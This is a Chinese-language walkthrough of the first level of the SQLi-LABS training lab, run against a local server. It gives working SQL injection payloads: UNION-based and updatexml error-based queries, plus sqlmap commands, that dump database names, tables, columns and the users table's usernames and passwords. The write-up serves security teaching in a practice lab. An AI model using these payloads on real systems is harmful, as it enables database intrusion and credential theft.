SQLi-LABS 第一关 SQL注入 总结

SQLi-LABS 第一关 SQL注入 总结

关卡简介

关卡提示:GET-Error based- Single quotes-String

注入位置:GET

注入类型:子符串型(单引号闭合漏洞)

注入方法

前期测试

url 输入 http://127.0.0.1/Less-1/?id=1 and 1=1

url 输入 http://127.0.0.1/Less-1/?id=1 and 1=2

SQLi-LABS 第一关 SQL注入 总结

页面无变化,排除数字型注入

url 输入 http://127.0.0.1/Less-1/?id=1'

SQLi-LABS 第一关 SQL注入 总结

有报错回显,可能是字符串型

url 输入 http://127.0.0.1/Less-1/?id=1' and '1'='1

SQLi-LABS 第一关 SQL注入 总结

SQLi-LABS 第一关 SQL注入 总结

两次页面不一样,确定是 字符串型

union联合查询注入

由于有显示数据库内容的字段区域,还有有报错回显示, 因此可用此方法

  1. 爆列

    http://127.0.0.1/Less-1/?id=1%27%20order%20by%201--+
    http://127.0.0.1/Less-1/?id=1%27%20order%20by%202--+
    http://127.0.0.1/Less-1/?id=1%27%20order%20by%203--+
    

    试过均正常显示id=1时的页面,当 http://127.0.0.1/Less-1/?id=1' order by 4--+ 报错,说明 当前数据表有3列

    SQLi-LABS 第一关 SQL注入 总结

    http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+ 爆出位置

  2. 构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select version())--+

    爆出数据库版本

    SQLi-LABS 第一关 SQL注入 总结

    构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+

    爆出数据库信息 (第一条)

    SQLi-LABS 第一关 SQL注入 总结

    构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

    爆出数据库信息 (所有)

    SQLi-LABS 第一关 SQL注入 总结

    构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

    爆出当前库的所有表

    SQLi-LABS 第一关 SQL注入 总结

    构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users")--+

    爆出用户表users的所有列名

    SQLi-LABS 第一关 SQL注入 总结

    构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'~',password) from users)--+

    爆出用户表users的所有信息

    SQLi-LABS 第一关 SQL注入 总结

报错注入

由于有报错回显示, 因此可用此方法

这里使用 updatexml 函数报错方式

  1. 爆出数据库版本 构造注入 payload http://127.0.0.1/Less-1/?id=1' or updatexml(1,concat(0x7e,(select version()),0x7e),1)--+

    SQLi-LABS 第一关 SQL注入 总结

  2. 爆出当前数据库名 构造注入 payload http://127.0.0.1/Less-1/?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

    SQLi-LABS 第一关 SQL注入 总结

  3. 爆出当前数据库的所有表 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

    SQLi-LABS 第一关 SQL注入 总结

  4. 爆出当users表的所有列 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

    SQLi-LABS 第一关 SQL注入 总结

  5. 爆出当users表的所有信息 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+

    SQLi-LABS 第一关 SQL注入 总结

    updatexml 函数报错最多显示32字符,可以用 limit 取数据 ,这里不再演示

利用sqlmap注入

傻瓜式注入

  1. 爆出所有库 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 --dbs

    SQLi-LABS 第一关 SQL注入 总结

  2. 爆出当前数据库所有表 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security --tables

    SQLi-LABS 第一关 SQL注入 总结

  3. 爆出users表中所有列 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users --columns

  4. 爆出users表所有信息 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users -C username,password --dump

    SQLi-LABS 第一关 SQL注入 总结

上一篇:sqli-labs靶场第十五关


下一篇:upload-labs第一关攻略